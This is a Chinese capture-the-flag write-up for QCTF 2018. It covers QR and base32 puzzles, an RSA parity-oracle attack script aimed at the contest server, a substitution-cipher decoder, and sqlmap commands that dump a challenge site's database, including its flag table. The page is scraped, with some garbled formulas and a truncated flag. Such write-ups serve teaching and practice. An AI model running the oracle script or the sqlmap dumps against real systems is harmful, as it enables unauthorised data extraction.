QCTF 2018线上赛 writeup
? 本次算是被QCTF打趴了,本来做题时间就少(公司无限开会,开了一天,伪借口),加上难度和脑洞的增大,导致这次QCTF又酱油了。。。就连最基本的签到题都没做出来。。。这就很气 ? 好了,以下是解题思路 ? MISC 0x01 X-man-A face 下载附件,得到图片 ? 简单拖进binwalk扫一下,无果,查看附件属性信息,无果。 最后尝试补全一下图中的二维码 打开画图工具,键盘拼接一下,得到 ? 扫描图中二维码,居然可以扫出东西,得到 KFBVIRT3KBZGK5DUPFPVG2LTORSXEX2XNBXV6QTVPFZV6TLFL5GG6YTTORSXE7I= base64走起,没用 那base32走起,得到flag:QCTF{Pretty_Sister_Who_Buys_Me_Lobster} ? 0x02?X-man-Keyword 签到题,下载图片得到 提取图片信息 PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf} ? Crypto 0x01?babyRSA 最开始以为是一道常规的RSA破解,直接丢进msieve和yafu,fatorydb等跑起来。。。 。。。 。。。 。。。 跑炸了都没出个有用的东西。。。 就此卡住,先nc 47.96.239.28 23333看看后面的题目 发现是提供一个密文,系统会返回even和odd 于是联想到最低有效位(LSB)oracle攻击 (后来才知道的。。。) 从出题大佬那里py到的提示:https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack 仍然看不懂。。。后来又找到了一个中文版:https://introspelliam.github.io/2018/03/27/crypto/RSA-Least-Significant-Bit-Oracle-Attack/ ? 这里说一下我理解的大概原理: 如果我们已经知道公钥中N,e,c,那么我们就可以通过构造任意构造密文c1,即c1=(2**e mod n)*c,作为密文发送出去,根据返回此密文解密后p1的末尾某些比特位的性质(记为函数f),求得原始明文信息! 最简单的函数f?是表示?p?的奇偶性(即even和odd)。 若返回f(2P)
接着我们来看看2P2P?和?4P4P
结论就是 如果我们循环下去,基本上就可以得到P所处在的空间。当次数不断叠加,最终所处在的空间将会十分的小,于是就可以解出对应的解! ? P∈[0,P]?也即LB=0,?UB=N 使用log2?Nlog2?N?次可以根据密文C?求解出明文P C′=(2e?mod?N)?C if (Oracle(C‘) == even): UB = (UB + LB)/2; else: LB = (UB + LB)/2; ? ? 模仿了写法,求得LB # coding=utf-8 # author:401219180 import binascii import socket def getevenOrodd(c): """nc连接获取even or odd""" adress = "47.96.239.28" port = 23333 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((adress,int(port))) s.recv(1024) data = hex(c)[:-1] + "n" s.send(data) codeindex = s.recv(1024) s.shutdown(1) s.close() print codeindex return codeindex def decrypt(n): LB = 0 UB = n e = 65537 c = int("0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b68a630607df0568a7439bc694486ae50b5c0c8507e5eecdea4654eeff3e75fb8396e505a36b0af40bd5011990663a7655b91c9e6ed2d770525e4698dec9455db17db38fa4b99b53438b9e09000187949327980ca903d0eef114afc42b771657ea5458a4cb399212e943d139b7ceb6d5721f546b75cd53d65e025f4df7eb8637152ecbb6725962c7f66b714556d754f41555c691a34a798515f1e2a69c129047cb29a9eef466c206a7f4dbc2cea1a46a39ad3349a7db56c1c997dc181b1afcb76fa1bbbf118a4ab5c515e274ab2250dba1872be0",16) while LB != UB: c1 = (pow(2,e,n) * c) % n if getevenOrodd(c1)[:-1] == "even": UB = (UB + LB) / 2 else: LB = (UB + LB) / 2 c = c1 print LB n=int("0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb0658707fe516967464439bdec2d6479fa3745f57c0a5ca255812f0884978b2a8aaeb750e0228cbe28a1e5a63bf0309b32a577eecea66f7610a9a4e720649129e9dc2115db9d4f34dc17f8b0806213c035e22f2c5054ae584b440def00afbccd458d020cae5fd1138be6507bc0b1a10da7e75def484c5fc1fcb13d11be691670cf38b487de9c4bde6c2c689be5adab08b486599b619a0790c0b2d70c9c461346966bcbae53c5007d0146fc520fa6e3106fbfc89905220778870a7119831c17f98628563ca020652d18d72203529a784ca73716db",16) decrypt(n) ? LB=560856645743734814774953158390773525781916094468093308691660509501812320 这里的LB也就是明文P(Plaintext) 最后int转ascii即可 LB = 560856645743734814774953158390773525781916094468093308691660509501812320
plaintext = binascii.unhexlify(hex(LB)[2:-1]) print(plaintext)
plaintext =QCTF{RSA_parity_oracle_is_fun` 0x02?Xman-RSA 下载题目附件得到 依次点开查看,分析 应该是从encryption.encrypyed入手 从原文可以看出,这个语法有点像python,可能是python源码被做了简单的移位加密,例如gqhb=from,adg=def,urtd64应该是base64。。。 这里应该不是凯撒加密,移位的数字是没有规律的,所以只能一点一点的摸索猜测密文和明文字母的对应关系,如果熟悉python,就能猜出 最后人工手写出解密脚本 cpdic = { "a": "d","d": "e","g": "f","q": "r","h": "o","b": "m","u": "b","r": "a","t": "s","p": "i","k": "p","w": "t","z": "u","e": "n","x": "c","y": "l","l": "y","f": "w","m": "h","j": "g","i": "x","v": "k" } f1 = open("C:UsersfuzhiDesktopDownloadsencryption.encrypted","r") //本地文件 data1 = f1.read() listdata1 = list(data1) i = 0 for strindex in listdata1: if strindex in cpdic: listdata1[i] = cpdic[strindex] i += 1 s = "".join(listdata1) print s 还原出的encryption.encrypyed为 from gmpy2 import is_prime from os import urandom import base64 def bytes_to_num(b): return int(b.encode(‘hex‘),16) def num_to_bytes(n): b = hex(n)[2:-1] b = ‘0‘ + b if len(b)%2 == 1 else b return b.decode(‘hex‘) def get_a_prime(l): random_seed = urandom(l) num = bytes_to_num(random_seed) while True: if is_prime(num): break num+=1 return num def encrypt(s,n): p = bytes_to_num(s) p = pow(p,n) return num_to_bytes(p).encode(‘hex‘) def separate(n): p = n % 4 t = (p*p) % 4 return t == 1 f = open(‘flag.txt‘,‘r‘) flag = f.read() msg1 = "" msg2 = "" for i in range(len(flag)): if separate(i): msg2 += flag[i] else: msg1 += flag[i] p1 = get_a_prime(128) p2 = get_a_prime(128) p3 = get_a_prime(128) n1 = p1*p2 n2 = p1*p3 e = 0x1001 c1 = encrypt(msg1,n1) c2 = encrypt(msg2,n2) print(c1) print(c2) e1 = 0x1001 e2 = 0x101 p4 = get_a_prime(128) p5 = get_a_prime(128) n3 = p4*p5 c1 = num_to_bytes(pow(n1,e1,n3)).encode(‘hex‘) c2 = num_to_bytes(pow(n1,e2,n3)).encode(‘hex‘) print(c1) print(c2) print(base64.b64encode(num_to_bytes(n2))) print(base64.b64encode(num_to_bytes(n3))) 代码审计后,初步可以得到 c1hex = "11574caaea9fd80017ee2986de85b4939d2e43bd5edf5f84e280198004628303fc0c46030926d701194fd8b6b61fdad9fb996291742dcc181d7a21af22f9834caf7650637e458c616ec725a1396ea1920e78ea1ed70d9a35a2390744943a134c8a8101383386e94db4ff4e809d226cffc84bfa2847a3f4fe08ee9df4bf7a40ebf16a347fe90f09016b8b9d2dfb281b536da1fc4442c7b47f84204b3eed6186f4deab1f71ead8edd8c42fe3d93972c220d8c4eb9aab52600ed168ce51064c49b152e34c6fb83de63a635d421c9664fc78f7388de3d1dde7cd3180951c876f20dcede08280ec6ac284b120615e9e141dac68399035bb71eac8cd2bb866b3a6e007" c2hex = "0230d7a40a416d8c056c314b7d641bffb1dd007917ba0b215f58f6b68f8285067136aa0f0ce37db354cf61d22af84c8be4160963fcbfb9814f31875b458bfea9cb8aa064e5692894f2cde421b16ee2fba30d0b5d5acd8270af65c5bfdd656733b7170b48583a909560c5811cae775499b813efeb9bbb6a8e9da35bd54c0c6d047d6c28a6442cf69522b02c1609774fd4c19e1841989526f70896227138d0fc8bf3ad4ff92466aafc79dbc2b0b68cde3a810d805fba9db05267b33a39f26ccc06c34de1a6a90a5521f01a1e8e0e1387f6ed51b3970409b7562896dfdbf487337d787e6629d474a73e86dbb934446628dad06a8bc6bded821b9a2361f2f1055d12" ? ? WEB 0x01?NewsCenter 打开网页来到 通过简单的输入调试,感觉应该是考察sql注入 ? 于是sqlmap一把梭 爆库python sqlmap.py -u "http://47.96.118.255:33066/" --data="search=1" --current-db ?爆表python sqlmap.py -u "http://47.96.118.255:33066/" --data="search=1" -D news --tables 爆字段python sqlmap.py -u "http://47.96.118.255:33066/" --data="search=1" -D news -T secret_table --columns 爆值python sqlmap.py -u "http://47.96.118.255:33066/" --data="search=1" -D news -T secret_table -C "fl4g,id" --dump (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |